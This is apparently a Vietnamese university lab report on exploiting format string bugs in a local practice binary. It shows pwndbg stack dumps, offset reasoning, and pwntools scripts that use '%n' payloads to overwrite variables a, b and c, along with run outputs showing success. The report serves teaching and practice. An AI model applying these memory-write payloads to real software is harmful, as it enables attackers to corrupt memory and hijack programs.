0x80484d1 <main+70>    push    eax
> 0x80484d2 <main+71>    call    printf@plt                <printf@plt>
                                format: 0xffffd028 ← 'hello'
                                vararg: 0xffffd028 ← 'hello'
0x80484d7 <main+76>    add     esp, 0x10
0x80484da <main+79>    mov     eax, dword ptr [ebp - 0xc]
0x80484dd <main+82>    cmp     eax, 0x10
0x80484e0 <main+85>    jne     main+105                   <main+105>
0x80484e2 <main+87>    sub     esp, 0xc
[ STACK ]
00:0000| esp 0xffffd010 → 0xffffd028 ← 'hello'
01:0004| -004 0xffffd014 → 0xffffd028 ← 'hello'
02:0008| -008 0xffffd018 → 0xf7fb7b0 → 0x804879c ← inc edi /* 'GLIBC_2.0' */
03:000c| -07c 0xffffd01c ← 0x1
04:0010| -078 0xffffd020 ← 0x0
05:0014| -074 0xffffd024 ← 0x1
06:0018| eax 0xffffd028 ← 'hello'
07:001c| -06c 0xffffd02c → 0xf7ff906f (_dl_out_of_memory+7) ← 'memory'

```

Như vậy, vị trí lưu chuỗi định dạng s sẽ tương ứng với tham số thứ 1 của printf

Bước 3. Xác định chuỗi định dạng để ghi đè

Từ bước trên ta xác định được:

- Biến c lưu tại 0xffffd08c
- Tham số đầu tiên của hàm printf() thứ 2 được lưu tại 0xffffd010
- Vị trí lưu chuỗi s là 0xffffd028 => Đây sẽ là tham số thứ 7 của printf()

Từ đây ta có chuỗi định dạng [addr_of_c]%012d%6\$n. Do địa chỉ của biến c đã chiếm 4 byte nên ta cần padding thêm 12 byte là đủ 16 byte theo yêu cầu đề bài

Code exploit bằng python:

```

from pwn import *
def forc():
    sh = process('./app-overwrite')
    # get address of c from the first output
    c_addr = int(sh.recvuntil('\n', drop=True), 16)
    print ('- Address of c: %s' % hex(c_addr))
    # additional format - change to your format to create 12 characters
    additional_format = b'%012d'
    # overwrite offset - change to your format
    overwrite_offset = b'%6$n'
    payload = p32(c_addr) + additional_format + overwrite_offset
    print ('- Your payload: %s' % payload)
    sh.sendline(payload)
    sh.interactive()
forc()

```

Kết quả exploit:

Báo cáo
HOC KỲ 1 – NĂM HỌC 2023-2024


```
from pwn import *  
def fora():  
    sh = process('./app-overwrite')  
    a_addr = 0x0804a024 # address of a  
    # format string - change to your answer  
    payload = b'aa%8$nx' + p32(a_addr)  
    sh.sendline(payload)  
    print (sh.recv())  
    sh.interactive()  
fora()
```

```
bao-nguyen@bao-nguyen-virtual-machine:~/Downloads/Lab4-resource$ python3 app-overwrite-yc6.py  
[+] Starting local process './app-overwrite': pid 9436  
b'0xffec40c\naa%x$\xa0\x04\x08\nYou modified a for a small number.\n\nna = 2, b = 1c8, c = 789\n'  
[*] Switching to interactive mode  
[*] Process './app-overwrite' stopped with exit code 0 (pid 9436)  
[*] Got EOF while reading in interactive  
$
```

Yêu cầu 7. Sinh viên khai thác và truyền chuỗi s để ghi đè biến b của file app-overwrite thành giá trị 0x12345678. Báo cáo chi tiết các bước phân tích, xác định chuỗi định dạng và kết quả khai thác.

Ta tìm được biến b được lưu tại địa chỉ 0x0804a028

```
pwndbg> info variables b  
All variables matching regular expression "b":  
  
Non-debugging symbols:  
0x08049f0c __do_global_ctors_aux_fini_array_entry  
0x0804a028 b  
0x0804a02c __bss_start
```

Do giá trị cần đề rất lớn nên ý tưởng của bài này là ta sẽ ghi đè lên địa chỉ của b và những vùng

nhớ tiếp theo của nó thành những giá trị mong muốn. Gọi b_addr là địa chỉ của biến b, ta có:

- b_addr = 0x78
- b_addr + 1 = 0x56
- b_addr + 2 = 0x34
- b_addr + 3 = 0x12

Đầu tiên là ghi đè địa chỉ tại b_addr. 0x78 theo cơ số 10 là 120 và vị trí tham số là k = 6, nhưng do ta ghi đè 4 byte địa chỉ ở đâu nên offset giảm xuống còn 116

Ta có code python như sau:

```
from pwn import *
def forb():
    sh = process('./app-overwrite')
    b_addr = 0x0804a028 # address of b)
    # format string - change to your answer
    payload = p32(b_addr)
    payload += b"%116x%6$n"
    sh.sendline(payload)
    print (sh.recv())
    sh.interactive()

forb()
```

Và kết quả exploit:

```
bao-nguyen@bao-nguyen-virtual-machine:~/Downloads/Lab4-resource$ python3 app-overwrite-yc7.py
[+] Starting local process './app-overwrite': pid 10184
b'0xffcb08bc\n(\xa0\x04\x08
      ffc0858\na = 123, b = 78, c = 789\n'
[*] Switching to interactive mode
[*] Process './app-overwrite' stopped with exit code 0 (pid 10184)
[*] Got EOF while reading in interactive
```

Tiếp theo là ghi đè tại địa chỉ b_addr + 1. Ta viết 4 byte địa chỉ này tiếp theo b_addr, nhưng ta không biết offset cần điền ở phần sau. Ta sẽ thí nghiệm với offset 10 và chỉnh offset đầu tiên thành 112 do có thêm 4 byte địa chỉ mới. b_addr + 1 nằm cách vị trí đầu tiên của payload 4 byte nên k = 7

Ta có code python như sau:

```
from pwn import *
def forb():
    sh = process('./app-overwrite')
    b_addr = 0x0804a028 # address of b)
    # format string - change to your answer
    payload = p32(b_addr) + p32(b_addr + 1)
    payload += b"%112x%6$n" + b"%10x%7$n"
    sh.sendline(payload)
    print (sh.recv())
    sh.interactive()

forb()
```

Và kết quả thu được:

```
bao-nguyen@bao-nguyen-virtual-machine:~/Downloads/Lab4-resource$ python3 app-overwrite-yc7.py
[+] Starting local process './app-overwrite': pid 9781
b'0xffc8db9c\n(\xa0\x04\x08)\xa0\x04\x08
fffc8db38 f7ed27b0\na = 123, b = 8278, c = 789\n'
[*] Switching to interactive mode
[*] Process './app-overwrite' stopped with exit code 0 (pid 9781)
[*] Got EOF while reading in interactive
```

=> Nhận xét: Kết quả thu được là 0x8278, so với kết quả lúc đầu là 0x78, ta có thể đoán là 0x82 có thể là do 0x78 + 0xA. Thêm vào đó, không thể tạo được 0x56 vì không thể làm giảm offset về âm nên ta chỉ có thể tạo ra 0x156

Vậy có thể số offset cần tìm là: $0x156 - 0x82 + 0xA = 0xDE$ hay 222

Thực hiện lại với offset = 222

```
from pwn import *
def forb():
    sh = process('./app-overwrite')
    b_addr = 0x0804a028 # address of b)
    # format string - change to your answer
    payload = p32(b_addr) + p32(b_addr + 1)
    payload += b"%112x%6$n" + b"%222x%7$n"
    sh.sendline(payload)
    print (sh.recv())
    sh.interactive()
forb()
```

```
bao-nguyen@bao-nguyen-virtual-machine:~/Downloads/Lab4-resource$ python3 app-overwrite-yc7.py
[+] Starting local process './app-overwrite': pid 10164
b'0xffa47bac\n(\xa0\x04\x08)\xa0\x04\x08
ffa47b48
f7ee37b0\na = 123, b = 15678, c = 789\n'
[*] Switching to interactive mode
[*] Process './app-overwrite' stopped with exit code 0 (pid 10164)
[*] Got EOF while reading in interactive
$
```

Vậy suy luận của ta đã đúng.

Tiếp tục dùng cách suy nghĩ trên cho 2 địa chỉ $b_addr + 2$ và $b_addr + 3$, ta suy ra cả 2 offset cần tìm là 222.

Ở thành phần đầu tiên offset sẽ tiếp tục giảm đi 8, từ 112 xuống 104. Ta có đoạn code exploit như sau:

```
from pwn import *
def forb():
    sh = process('./app-overwrite')
    b_addr = 0x0804a028 # address of b)
    # format string - change to your answer
    payload = p32(b_addr) + p32(b_addr + 1) + p32(b_addr + 2) + p32(b_addr + 3)
    payload += b"%104x%6$n" + b"%222x%7$n" + b"%222x%8$n" + b"%222x%9$n"
    sh.sendline(payload)
    print (sh.recv())
    sh.interactive()
forb()
```

Và kết quả exploit:

```

bao-nguyen@bao-nguyen-virtual-machine:~/Downloads/Lab4-resource$ python3 app-overwrite-yc7.py
[+] Starting local process './app-overwrite': pid 10139
b'0\xff83bdc\n(\xa0\x04\x08)\xa0\x04\x08*\xa0\x04\x08+\xa0\x04\x08
ff83bd78

f7f6f7b0

1

0\nYou modified b for a big number!\n
\na = 123, b = 12345678, c = 789\n'
[*] Switching to interactive mode
[*] Process './app-overwrite' stopped with exit code 0 (pid 10139)
[*] Got EOF while reading in interactive

```